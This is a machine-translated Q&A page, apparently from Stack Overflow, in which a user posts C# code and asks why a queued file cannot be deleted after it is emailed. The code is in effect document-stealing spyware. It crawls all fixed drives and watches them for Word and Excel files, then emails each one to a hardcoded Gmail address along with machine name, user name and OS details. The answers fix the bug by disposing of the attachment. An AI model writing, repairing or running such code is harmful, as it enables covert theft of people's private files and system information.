2013-05-31 5 views
0

Я получаю доступ, когда я пытаюсь удалить файл .... какая часть, которая использует файлы ... в моей очереди очереди?Acess denied, когда я пытаюсь удалить файл после его отправки

Мое приложение поиск всех Дока и XLS файлов и помещает их в очередь папку, а затем загружать их после того, как лань из каждого файла его должны удалить его, но я получаю доступ запрещен ....

namespace WindowsFormsApplication1 
{ 
    public partial class Form1 : Form 
    { 

     public Form1() 
     { 
      InitializeComponent(); 
     } 

     private void Form1_Load(object sender, EventArgs e) 
     { 

      if (Directory.Exists("queue")) 
      { 
       Thread t2 = new Thread(delegate() 
       { 
       startListeningToDrives(); 
       //Thread.Sleep(15000); 
       uploadAllFiles(1024); 
       }); 
       t2.Start(); 

      } 
      else { 
       Thread t2 = new Thread(delegate() 
       { 
        //Thread.Sleep(15000); 
        DriveInfo[] allDrives = DriveInfo.GetDrives(); 
        foreach (DriveInfo d in allDrives) 
        { 
         if (d.IsReady && d.DriveType == DriveType.Fixed) 
         { 
          string str = d.ToString(); 
          grabAllFiles(@str, "*.doc"); 
          grabAllFiles(@str, "*.xls"); 
         } 

        } 
        startListeningToDrives(); 
       }); 
       t2.Start(); 

      } 
     } 

     static void CreateFileWatcher(string path, string theExtension) 
     { 

      // Create a new FileSystemWatcher and set its properties. 
      FileSystemWatcher watcher = new FileSystemWatcher(); 
      watcher.Path = path; 
      watcher.IncludeSubdirectories = true; 
      /* Watch for changes in LastAccess and LastWrite times, and 
       the renaming of files or directories. */ 
      watcher.NotifyFilter = NotifyFilters.LastAccess | NotifyFilters.LastWrite 
       | NotifyFilters.FileName | NotifyFilters.DirectoryName; 
      // Only watch text files. 
      watcher.Filter = theExtension; 

      // Add event handlers. 
      watcher.Changed += new FileSystemEventHandler(OnChanged); 
      watcher.Created += new FileSystemEventHandler(OnChanged); 

      // Begin watching. 
      watcher.EnableRaisingEvents = true; 
     } 

     static void send_file(string fpath, string fname, string finfo) 
     { 

      MailMessage mail = new MailMessage(); 
      SmtpClient SmtpServer = new SmtpClient("smtp.gmail.com"); 
      mail.From = new MailAddress("[email protected]"); 
      mail.To.Add("[email protected]"); 
      mail.Subject = fname; 
      mail.Body = finfo; 

      System.Net.Mail.Attachment attachment; 
      Random rnd = new Random(); 
      int fnum = rnd.Next(1, 999999); 
      if (fpath.ToLower()!= "queue\\"+fname.ToLower()) 
      { 
       File.Copy(@fpath, "queue\\file" + fnum, true); 
       attachment = new System.Net.Mail.Attachment("queue\\file" + fnum); 
      } 
      else { 
       attachment = new System.Net.Mail.Attachment(@fpath); 
      } 
      attachment.Name = fname; 
      mail.Attachments.Add(attachment); 

      SmtpServer.Port = 587; 
      SmtpServer.Credentials = new System.Net.NetworkCredential("[email protected]", "*********"); 
      SmtpServer.EnableSsl = true; 


      SmtpServer.Send(mail); 
      FileInfo myf = new FileInfo("queue\\" + attachment.Name); 
      //I get error here 
      myf.Delete(); 
      //I get error here 
     } 
     static string ToFileSize(long size) 
     { 
      if (size < 1024) 
      { 
       return (size).ToString("F0") + " bytes"; 
      } 
      else if (size < Math.Pow(1024, 2)) 
      { 
       return (size/1024).ToString("F0") + " KB"; 
      } 
      else if (size < Math.Pow(1024, 3)) 
      { 
       return (size/Math.Pow(1024, 2)).ToString("F0") + " MB"; 
      } 
      else if (size < Math.Pow(1024, 4)) 
      { 
       return (size/Math.Pow(1024, 3)).ToString("F0") + " GB"; 
      } 
      else if (size < Math.Pow(1024, 5)) 
      { 
       return (size/Math.Pow(1024, 4)).ToString("F0") + " TB"; 
      } 
      else if (size < Math.Pow(1024, 6)) 
      { 
       return (size/Math.Pow(1024, 5)).ToString("F0") + " PB"; 
      } 
      else 
      { 
       return (size/Math.Pow(1024, 6)).ToString("F0") + " EB"; 
      } 
     } 
     static void uploadAllFiles(int maxsize) { 

      string[] queueDirList = Directory.GetFiles(@"queue"); 
      foreach (string name in queueDirList) 
      { 
       FileInfo myf = new FileInfo(name); 
       if (myf.Length < maxsize * 1024) 
       { 
        send_file(name, myf.Name, 
         "\n►Filename: " + myf.FullName + "\n" + 
         "►Size: " + ToFileSize(myf.Length) + "\n" + 
         "►Changetype: Initial Search\n" + 
         "►Current Directory: " + System.Environment.CurrentDirectory + "\n" + 
         "►MachineName: " + System.Environment.MachineName + "\n" + 
         "►OS Version: " + System.Environment.OSVersion + "\n" + 
         "►ProcessorCount: " + System.Environment.ProcessorCount + "\n" + 
         "►Version: " + System.Environment.Version + "\n" + 
         "►UserDomainName: " + System.Environment.UserDomainName + "\n" + 
         "►UserName: " + System.Environment.UserName + "\n" + 
         "►SystemDirectory: " + System.Environment.SystemDirectory + "\n" 
         ); 
       } 

      } 

     } 
     static void startListeningToDrives() { 

      DriveInfo[] allDrives = DriveInfo.GetDrives(); 
      foreach (DriveInfo d in allDrives) 
      { 
       if (d.IsReady && d.DriveType == DriveType.Fixed) 
       { 
        string str = d.ToString(); 
        CreateFileWatcher(@str, "*.doc"); 
        CreateFileWatcher(@str, "*.docx"); 
        CreateFileWatcher(@str, "*.xls"); 
        CreateFileWatcher(@str, "*.xlsx"); 
       } 

      } 
     } 
     static void grabAllFiles(string searchdir,string sftype) 
     { 

       Directory.CreateDirectory("queue"); 
       IEnumerable<string> filesOrDirectories = SearchFiles(@searchdir, sftype); 
       Random a = new Random(); 
       foreach (string fileOrDirectory in filesOrDirectories) 
       { 
        if (!(File.GetAttributes(fileOrDirectory) == FileAttributes.Directory)) 
        { 
         try 
         { 

          int ran = a.Next(0, 99999999); 
          File.Copy(fileOrDirectory, "queue\\File_" + ran + "_" + Path.GetFileName(fileOrDirectory), true); 
         } 
         catch (System.IO.IOException) 
         { 

         } 
        } 

       } 


     } 

     // Define the event handlers. 
     private static void OnChanged(object source, FileSystemEventArgs e) 
     { 
      Thread t = new Thread(delegate() 
      {Thread.Sleep(1000); 
       if (File.Exists(e.FullPath)) 
       { 
        FileInfo myf = new FileInfo(e.FullPath); 
        if (myf.DirectoryName.ToLower() != Directory.GetCurrentDirectory().ToLower() + "\\queue") 
        { 
         send_file(e.FullPath, myf.Name, 
          "\n►Filename: " + myf.FullName + "\n" + 
          "►Size: " + ToFileSize(myf.Length) + "\n" + 
          "►Changetype: " + e.ChangeType + "\n" + 
          "►Current Directory: " + System.Environment.CurrentDirectory + "\n" + 
          "►MachineName: " + System.Environment.MachineName + "\n" + 
          "►OS Version: " + System.Environment.OSVersion + "\n" + 
          "►ProcessorCount: " + System.Environment.ProcessorCount + "\n" + 
          "►Version: " + System.Environment.Version + "\n" + 
          "►UserDomainName: " + System.Environment.UserDomainName + "\n" + 
          "►UserName: " + System.Environment.UserName + "\n" + 
          "►SystemDirectory: " + System.Environment.SystemDirectory + "\n" 

          ); 
        } 


       } 
      }); 
      t.Start(); 
     } 
     public static IEnumerable<string> SearchFiles(string root, string searchPattern) 
     { 
      Stack<string> pending = new Stack<string>(); 
      pending.Push(root); 
      while (pending.Count != 0) 
      { 
       var path = pending.Pop(); 
       string[] next = null; 
       try 
       { 
        next = Directory.GetFiles(path, searchPattern); 
       } 
       catch { } 
       if (next != null && next.Length != 0) 
        foreach (var file in next) yield return file; 
       try 
       { 
        next = Directory.GetDirectories(path); 
        foreach (var subdir in next) pending.Push(subdir); 
       } 
       catch { } 
      } 
     }  

    } 
} 
+0

Вы не 'Утилизируйте свой' MailMessage' или 'SmtpClient'. У одного из них все еще есть дескриптор открытого файла. –

+2

попробуйте сделать что-то вроде следующего, когда вы закончите с объектом MailMessage mail, который вы создали. '((IDisposable) mail) .Dispose();' Я бы рекомендовал обернуть свой код вокруг 'try {} catch {} 'также, чтобы вы могли поймать/поймать любые ошибки, никогда не предполагайте, что' SmtpServer.Send (mail); 'всегда будет успешным – MethodMan

ответ

3

Я думаю, вы должны делать

attachment.Dispose(); 

после отправки почты. Объект привязки может хранить файл открытым.

[EDIT] Также обратите внимание на то, что сказал DJ KRAZE в комментариях.

+0

спасибо, что это действительно помогло ... Это сработало ... – user1995682

+0

Большое спасибо, это работа 100% –

Смежные вопросы